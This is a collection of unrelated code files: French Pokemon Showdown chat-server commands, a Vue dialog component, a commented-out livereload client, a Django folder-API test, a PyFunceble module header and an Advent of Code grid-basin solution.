"- " + hashColors('Asumaru', true) + ' --> Maitre psy <img src="http://www.mediafire.com/convkey/c8af/0i2ddnizgklrt2vzg.jpg?size_id=0" width="16" height="16" title="est un maitre du tier psy"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">0footprof, CookiesBox, Wyrrax, Mastouffu, Empoleon-san, Garance, iMox, Erufun </div></details> <br />' +
"- " + hashColors('Empoleon-san', true) + ' --> Maitre Dragon <img src="http://www.mediafire.com/convkey/66dc/1dholg5ec1dzoiazg.jpg?size_id=0" width="16" height="16" title="est un maitre du tier dragon"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">Tatia, CookiesBox, Mastouffu, Empoleon-san, S poi re, iMox, Oseen, Antotonin, Erufun, Ahzee, Cieltestleladd, Freat</div></details> <br />' +
"- " + hashColors('Jovu', true) + ' --> Maitre glace <img src="http://www.mediafire.com/convkey/0d3b/sog5dxndajeihglzg.jpg?size_id=0" width="16" height="16" title="est un maitre du tier glace"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">BirdoMc, Erufun, Lord Unknow, Antotonin, iMox, S poi re, Empoleon-san, Wyrrax, CookiesBox, Tatia, Lionyx</div></details> <br />' +
"- " + hashColors('iMox', true) + ' --> Maitre Sol <img src="http://www.mediafire.com/convkey/84b7/0p32y9261a057bmzg.jpg?size_id=0" width="16" height="16" title="est un maitre du tier sol"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">Tatia, CookiesBox, Antotonin, iMox</div></details> <br />' +
"- " + hashColors('Motis-Vhayle', true) + ' --> Maitre Normal <img src="http://www.mediafire.com/convkey/467e/lk9q3uv7hmez3qwzg.jpg?size_id=0" width="16" height="16" title="est un maitre du tier normal"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">Freat, Motis-Vhayle</div></details> <br />' +
"- " + hashColors('Oseen', true) + ' --> Maitre Combat <img src="http://www.mediafire.com/convkey/e6ce/tfr6fo5zh0q52m4zg.jpg?size_id=0" width="16" height="16" height="16" title="est un maitre du tier normal"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px">lightdn, freat, boorossama</div></details> <br />' +
"- " + hashColors('CookiesBox ♬', true) + ' --> Maitre Fée <img src="http://www.mediafire.com/convkey/1fff/dz8p42i9d5ygjg4zg.jpg?size_id=0" width="16" height="16" height="16" title="est un maitre du tier fée"> <details style="margin:1px"><summary style="cursor: pointer"><b>vainqueurs</b></summary><div style="padding:5px"></div></details> <br />' +
'<h3> Pour être ajouté contactez distrib');
},*/
'!discord': true,
discord: function (target, room, user) {
if (!this.canBroadcast()) return;
this.sendReplyBox(
'<a href="https://discord.gg/ZZmT65N">Discord de Pokeland</a> '
);
},
kickall: function (target, room, user) {
if (!this.can('declare')) return this.errorReply("/kickall - Access denied.");
if (room.id === 'lobby') return this.errorReply("Vous ne pouvez pas kickall sur le lobby et staff.");
for (let i in room.users) {
if (room.users[i] !== user.userid) {
room.users[i].leaveRoom(room.id);
}
}
this.privateModCommand('(' + Chat.escapeHTML(user.name) + 'kicked everyone from the room.');
},
roomlist: function (target, room, user) {
if (!this.runBroadcast()) return;
let header = ['<b><font color="#1aff1a" size="2">Total de personnes connectées: ' + Rooms.global.userCount + '</font></b><br />'],
official = ['<b><font color="#ff9900" size="2"><u>Salles officielles:</u></font></b><br />'],
nonOfficial = ['<hr><b><u><font color="#005ce6" size="2">Salles publiques:</font></u></b><br />'],
privateRoom = ['<hr><b><u><font color="#ff0066" size="2">Salles privées:</font></u></b><br />'],
groupChats = ['<hr><b><u><font color="#00b386" size="2">Group Chats:</font></u></b><br />'],
battleRooms = ['<hr><b><u><font color="#cc0000" size="2">Battles:</font></u></b><br />'];
let rooms = [];
Rooms.rooms.forEach(curRoom => {
if (curRoom.id !== 'global' && curRoom.id !== 'panurtest') rooms.push(curRoom.id);
});
rooms.sort();
for (let u in rooms) {
let curRoom = Rooms(rooms[u]);
if (curRoom.type === 'battle') {
battleRooms.push('<a href="/' + curRoom.id + '" class="ilink">' + Chat.escapeHTML(curRoom.title) + '</a> (' + curRoom.userCount + ')');
}
if (curRoom.type === 'chat') {
if (curRoom.isPersonal) {
groupChats.push('<a href="/' + curRoom.id + '" class="ilink">' + curRoom.id + '</a> (' + curRoom.userCount + ')');
continue;
}
if (curRoom.isOfficial) {
official.push('<a href="/' + toId(curRoom.title) + '" class="ilink">' + Chat.escapeHTML(curRoom.title) + '</a> (' + curRoom.userCount + ')');
continue;
}
if (curRoom.isPrivate) {
privateRoom.push('<a href="/' + toId(curRoom.title) + '" class="ilink">' + Chat.escapeHTML(curRoom.title) + '</a> (' + curRoom.userCount + ')');
continue;
}
}
if (curRoom.type !== 'battle') nonOfficial.push('<a href="/' + toId(curRoom.title) + '" class="ilink">' + curRoom.title + '</a> (' + curRoom.userCount + ')');
}
if (!user.can('roomowner')) return this.sendReplyBox(header + official.join(' ') + nonOfficial.join(' '));
this.sendReplyBox(header + official.join(' ') + nonOfficial.join(' ') + privateRoom.join(' ') + (groupChats.length > 1 ? groupChats.join(' ') : '') + (battleRooms.length > 1 ? battleRooms.join(' ') : ''));
},
name: function (target, room, user) {
if (!this.canBroadcast()) return;
this.sendReplyBox(
"<div class='chat'> Heu ton name c'est " + user.name + " ducon</div>"
);
},
sd: 'declaremod',
staffdeclare: 'declaremod',
modmsg: 'declaremod',
moddeclare: 'declaremod',
declaremod: function (target, room, user, connection) {
if (!target) return this.parse('/help declaremod');
if (!this.canTalk()) return this.errorReply("You cannot do this while unable to talk.");
if (!this.can('receiveauthmessages', null, room)) return false;
return this.privateModCommand('|raw|<div class="broadcast-green"><b><font size=1><i>Annonce du staff (Driver+) par ' + user.name + '<br /></i></font size>' + target + '</b></div>');
},
declaremodhelp: ["/declaremod [note] - Adds a staff readable declare. Requires: % @ # & ~"],
riennn: 'riennn',
riennn: function (target, room, user) {
return this.parse('rien ' + target);
},
panelquimarchepas: function (target, room, user ) {
if (!this.canBroadcast()) return;
this.sendReplyBox(
'<button name="send" value="/warn ' + Chat.escapeHTML(target)+ '"<b>DEV </b></button>'
);
},
afkstaff: function(target, room, user) {
if (!this.can('lock')) return;
this.parse('/away '+ target +'')
this.parse('/hideauth ')
this.parse('/blockpm')
},
backstaff: function(target, room, user) {
if (!this.can('lock')) return;
this.parse('/back '+ target +'')
this.parse('/showauth ')
this.parse('/unblockpm')
},
tourbot: function(target, room, user) {
if ((user.userid == 'vextal') || (this.can('tour'))) {
this.add("|c|~bot|,c /tour join")
}
},
endnewindigo: function(target, room, user) {
if ((user.userid == 'vextal') || (this.can('kill'))) {
this.add('|raw|<div class="broadcast-blue"><b>C\'est la fin du live de New Indigo</b></div>')}
},
newindigo: function(target, room, user) {
if ((user.userid == 'vextal') || (this.can('kill'))) {
this.add('|raw|<div class="broadcast-blue"><b>New Indigo est en stream , n\'hésite pas à aller jeter un coup d\' œil à <a href="' + target + '" target="_blank" rel="noopener">' + target + '</a></b></div>')
}
},
wailordstreamout: function(target, room, user) {
if ((user.userid == 'unwailordrandom') || (this.can('kill'))) {
this.add('|raw|<div class="broadcast-blue"><b>C\'est la fin du live de UnWailordRandom</b></div>')}
},
wailordstream: function(target, room, user) {
if ((user.userid == 'unwailordrandom') || (this.can('kill'))) {
this.add('|raw|<div class="broadcast-blue"><b>UnWailordRandom❤ est en stream , n\'hésite pas à aller jeter un coup d\' œil à <a href="https://www.twitch.tv/theretrogamersurtwitch" target="_blank" rel="noopener">https://www.twitch.tv/theretrogamersurtwitch</a></b></div>')
}
},
'!guide': true,
guide: function (target, room, user) {
if (!this.runBroadcast()) return;
this.sendReplyBox(
'<h2><center><u>Guide du Serveur:</u></center></h2> <center>Ce serveur sert à se faire de nouveaux amis, à s\'amuser, c\'est un serveur français spécial, il<br> à une monnaie virtuelle qui se nomme le <b>Bucks</b></center><br><br><center>, les Bucks sert à acheter des trucs qui <br> vont améliorer votre profil (faire /profil), votre couleur, de pseudo, <br>créer votre room.</center><br> <center>Les <b>Bucks<b> sont disponibles dans des tournois, dans des lotos mais aussi dans la room "Casino"<br> Dans des slots spin: les slots spins sont des jeux où il faut aligner 3 images <br>identiques:<br><br> <b>Attention:</b> cela coûte 3 <b>Bucks</b>, (pour voir vos <b>Bucks</b> il faut faire la commande: /atm).<br><br> <u><b>L\'hangman:</b></u> C\'est le jeu du pendu, pour pouvoir donner un mot ou une lettre il faut utiliser la commande /guess et si vous voulez en créer un<br> il suffit de faire /hangmanrequest [mots], [indice]<br><br> <u><b>Passthebomb:</b></u> Vous devez passer la bombe à vos adversaire avant que c\'elle-ci n\'explose, celui qui explosera avec elle sera éliminé. Pour passer la bombe il faut faire /pass [name]<br><br> <u><b>Guesswho:</b></u> Le but de ce jeu est de trouver le Pokemon que l\'un des joueur devra faire deviner aux autres. Celui qui devra faire deviner le Pokemon qui sera choisi de façons aléatoire devra donner des indice grâce à la commande /gw givehint [indice] et pour trouver les autre joueur devrons utiliser /gw guess [Pokemon en anglais] il n\'y a qu\'un certain nombre d\'essais.<br><br> <u><b>Ambush:</b></u> Le but est simple tuer un autre joueur le plus rapidement avec la commande /fire [user]. On ne peut pas tuer quelqu\'un qui à déjà été tué ou qui à déjà tué quelqu\'un, il faut attendre la prochaine manche. <br><br><u><b>UNO:</b></u> Le but est de ce débarrasser de toutes ses cartes et quand il n\'en reste qu\'une cliquer sur le bouton <b>Uno<b>. C\'est les règles classique du jeu. <br><br>Il y a aussi des grades:<br> <br>(<b style="color: #FFBF00">Regular</b> ,<b style="color: #8A0808">Voice (+)</b>,<b style="color: #04B404">Driver (%)</b>,<b style="color: #0101DF">Moderateur (@)</b>, <b style="color: #848484">Room Owner (#)</b>, <b style="color: #4C0B5F">Leader (&)</b>, <b>et</b> <b style="color: #FF0000">Administrateur ~)</b> ).<br><br>Il y a aussi des jeux funs pour s\'amuser.<br> Il est interdit de demander un grade, de spam, de flood, d\'insulter, de donner le lien d\'un autre <br> serveur. <br><br> Pour consulter les règles: <button name="send" value="/règles">Règles</button><br><br>Pour signaler une personne ou un bug: <button name="send" value="/report">Report</button><br><br><br> <u><h2>Guide du Forum:</h2></u><br><br> Le forum est une partie importante du serveur, dans celui ci il y a :<br><br> - la présentation pour mieux connaître les autres membres du serveur.<br><br> - le coin détente, un lieu « fourre-tout » dans lequel on y trouve surtout des jeux.<br><br> - et la partie stratégique qui est le gros point du forum on peut y poster :<br><br> - des fiches stratégiques sur un Pokemon sur un certain tier.<br><br> - des RMT, qui sont des équipes que les membres parlent sur cette équipe afin de l’améliorer<br><br> C’est aussi grâce au forum que sont organisés les tournois et que les partenariats avec d’autres communautés soient possibles.<br><br><br><br><br> <b style="color: #0040FF">Merci à JACG et Darkalex55 d\'avoir fait la partie forum, et d\'avoir corriger quelques erreurs.</b> </b></b></b></b></center>'
);
},
hangmanuser: 'hangmanrequest',
hr: 'hangmanrequest',
hangmanrequest: function (target, room, user, connection) {
if (!target) return this.sendReply('/hangmanrequest [Mot], [Indices] - Il est interdit de répondre à votre hangman. Si vous spammez cette commande vous serez lock');
let parts = target.split(',');
for(let usr in room.users) {
if (!room.users[usr].isStaff) continue;
room.users[usr].sendTo(this.room, '|c|~Hangman|' + '/html <button class="button" name="send" value="/hangman new ' + parts[0] + ',' + parts[1] + '">Hangman request de ' + user.name + '</button>');
}
this.room.update();
},
timedgdeclare: function (target, room, user) {
if (!target || !this.can('declare')) return this.errorReply("/help timedgdeclare");
let parts = target.split(',');
if (parts.length !== 2) return this.errorReply('/help timedgdeclare');
let delayInMins = Chat.escapeHTML(parts[0].trim());
if (isNaN(delayInMins)) return this.errorReply('Please give a delay in in minutes, /help timedgdeclare');
delayInMins = delayInMins * 1000 * 60;
let declare = this.canHTML(parts.slice(1).join(","));
if (!declare) return;
setTimeout(f => {
for (let id in Rooms.rooms) {
if (id !== 'global' && Rooms.rooms[id].userCount > 3) Rooms.rooms[id].addRaw(`<div class="broadcast-blue" style="border-radius: 5px; max-height: 300px; overflow-y: scroll;"><strong>${declare}</strong></div>`);
}
}, delayInMins);
this.room.modlog(`${toId(user)} scheduled a timed declare: ${declare}`);
return this.sendReply('Your declare has been scheduled.');
},
timedgdeclarehelp: ["/timedgdclare [delay in minutes], [declare] - Will declare something after a given delay. Requires: & ~"],
fj: 'forcejoin',
forcejoin: function(target, room, user) {
if (!user.can('mute')) return false;
if (!target) return this.sendReply('/forcejoin [target], [room] - Forces a user to join a room');
let parts = target.split(',');
if (!parts[0] || !parts[1]) return this.sendReply('/forcejoin [target], [room] - Forces a user to join a room');
let userid = toId(parts[0]);
let roomid = toId(parts[1]);
if (!Users.get(userid)) return this.sendReply ('User not found.');
if (!Rooms.get(roomid)) return this.sendReply ('Room not found.');
}
};
|
import Vue from 'vue'
import { Dialog } from 'element-ui'
import store from '@/store'
import router from '@/router'
const GlobalDialog = Vue.extend({
name: 'GlobalDialog',
data() {
return {
visible: false,
}
},
props: {
...Dialog.props,
content: [String, Function],
footer: Function,
on: Object,
directives: Array,
},
mounted() {
this.visible = true
},
methods: {
clean() {
this.$destroy()
const parentNode = this.$el.parentNode
parentNode && parentNode.removeChild(this.$el)
},
},
watch: {
$route() {
this.visible = false
},
},
render(h) {
let { content, footer } = this
if (content) {
content = (typeof this.content === 'string')
? this.content
: this.content(h)
}
footer = footer && (<template slot="footer">{this.footer(h)}</template>)
return h('el-dialog', {
props: {
...this.$props,
visible: this.visible,
},
on: {
...this.on,
closed: this.clean,
'update:visible': (val) => (this.visible = val),
},
directives: this.directives,
ref: 'globalDialog',
}, [content, footer])
},
})
/**
* 实例化组件
*
* @param propsData
* @returns {*}
*/
GlobalDialog.new = (propsData) => {
const vm = new GlobalDialog({
store,
router,
propsData,
})
document.body.appendChild(vm.$mount().$el)
return vm
}
export default GlobalDialog
|
'use strict';
// Reload client for Chrome Apps & Extensions.
// The reload client has a compatibility with livereload.
// WARNING: only supports reload command.
/*
var LIVERELOAD_HOST = 'localhost:';
var LIVERELOAD_PORT = 35729;
var connection = new WebSocket('ws://' + LIVERELOAD_HOST + LIVERELOAD_PORT + '/livereload');
connection.onerror = function (error) {
console.log('reload connection got error:', error);
};
connection.onmessage = function (e) {
if (e.data) {
var data = JSON.parse(e.data);
if (data && data.command === 'reload') {
chrome.runtime.reload();
}
}
};
*/
|
from .utils import ApiResourceTestCase
from perma.models import LinkUser, Folder
class FolderResourceTestCase(ApiResourceTestCase):
resource_url = '/folders'
@classmethod
def setUpTestData(cls):
cls.org_user = LinkUser.objects.get(pk=3)
cls.empty_child_folder = Folder.objects.get(pk=29)
cls.nonempty_child_folder = Folder.objects.get(pk=30)
def nested_url(self, obj):
return self.detail_url(obj) + "/folders"
def test_should_strip_whitespace_from_name(self):
name = 'This is a folder name'
obj = self.successful_post(self.nested_url(self.org_user.root_folder),
data={'name': ' '+name+' '},
user=self.org_user)
self.assertEqual(obj['name'], name)
def test_moving(self):
user = self.empty_child_folder.created_by
parent_folder = self.nonempty_child_folder
child_folder = self.empty_child_folder
self.successful_put(
"{0}/folders/{1}".format(self.detail_url(parent_folder), child_folder.pk),
user=user
)
# Make sure it's listed in the folder
obj = self.successful_get(self.detail_url(child_folder), user=user)
data = self.successful_get(self.detail_url(parent_folder)+"/folders", user=user)
self.assertIn(obj, data['objects'])
def test_should_reject_duplicate_folder_name(self):
self.rejected_post(self.nested_url(self.empty_child_folder.parent),
data={'name': self.empty_child_folder.name},
user=self.empty_child_folder.created_by,
expected_status_code=400,
expected_data={"name":["A folder with that name already exists at that location."]})
|
"""
The tool to check the availability or syntax of domains, IPv4, IPv6 or URL.
::
██████╗ ██╗ ██╗███████╗██╗ ██╗███╗ ██╗ ██████╗███████╗██████╗ ██╗ ███████╗
██╔══██╗╚██╗ ██╔╝██╔════╝██║ ██║████╗ ██║██╔════╝██╔════╝██╔══██╗██║ ██╔════╝
██████╔╝ ╚████╔╝ █████╗ ██║ ██║██╔██╗ ██║██║ █████╗ ██████╔╝██║ █████╗
██╔═══╝ ╚██╔╝ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██╔══╝ ██╔══██╗██║ ██╔══╝
██║ ██║ ██║ ╚██████╔╝██║ ╚████║╚██████╗███████╗██████╔╝███████╗███████╗
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═════╝ ╚══════╝╚══════╝
Provides the extractors.
Author:
Nissar Chababy, @funilrys, contactTATAfunilrysTODTODcom
Special thanks:
https://pyfunceble.github.io/special-thanks.html
Contributors:
https://pyfunceble.github.io/contributors.html
Project link:
https://github.com/funilrys/PyFunceble
Project documentation:
https://pyfunceble.readthedocs.io///en/master/
Project homepage:
https://pyfunceble.github.io/
License:
::
MIT License
Copyright (c) 2017, 2018, 2019, 2020 Nissar Chababy
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from .expiration_date import ExpirationDate
|
import fs from 'fs';
const grid = [];
fs.readFileSync('./src/inputs/9.txt', 'UTF-8')
.split(/\r?\n/)
.map(line => grid.push(line.split('').map(Number)));
const ROWS = grid.length;
const COLS = grid[0].length;
const nearby = (grid, r, c) =>
[
[r, c - 1],
[r, c + 1],
[r - 1, c],
[r + 1, c],
].filter(([r2, c2]) => r2 >= 0 && r2 < grid.length && c2 >= 0 && c2 < grid[0].length);
const isLowPoint = (grid, r, c) => nearby(grid, r, c).every(([r2, c2]) => grid[r2][c2] > grid[r][c]);
const getLowPoints = (grid) => {
const lows = [];
for (let r = 0; r < ROWS; r++) {
for (let c = 0 ; c < COLS; c++) {
if (isLowPoint(grid, r, c)) {
lows.push([r, c, grid[r][c]]);
}
}
}
return lows;
};
const getBasins = (grid, lowPoints) => {
const basins = [];
for (let i = 0; i < lowPoints.length; i++) {
const [r, c, l] = lowPoints[i];
// BFS
const nearbyCells = nearby(grid, r, c);
const visited = new Set(`${r},${c}`);
const basin = [l];
while (nearbyCells.length > 0) {
const [r2, c2] = nearbyCells.pop();
// if this is good, check its neighbs
if (!visited.has(`${r2},${c2}`) && grid[r2][c2] > grid[r][c] && grid[r2][c2] <= 8) { // no 9's
visited.add(`${r2},${c2}`);
basin.push(grid[r2][c2]);
nearbyCells.push(...nearby(grid, r2, c2));
}
}
basins.push(basin.length);
}
basins.sort((a, b) => b - a);
return basins;
};
const lowPoints = getLowPoints(grid);
const p1 = lowPoints.map(n => n[2] + 1).reduce((sum, n) => sum + n, 0);
console.log('Part one:', p1);
const basins = getBasins(grid, lowPoints);
console.log('Part two:', basins[0] * basins[1] * basins[2]);
|
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.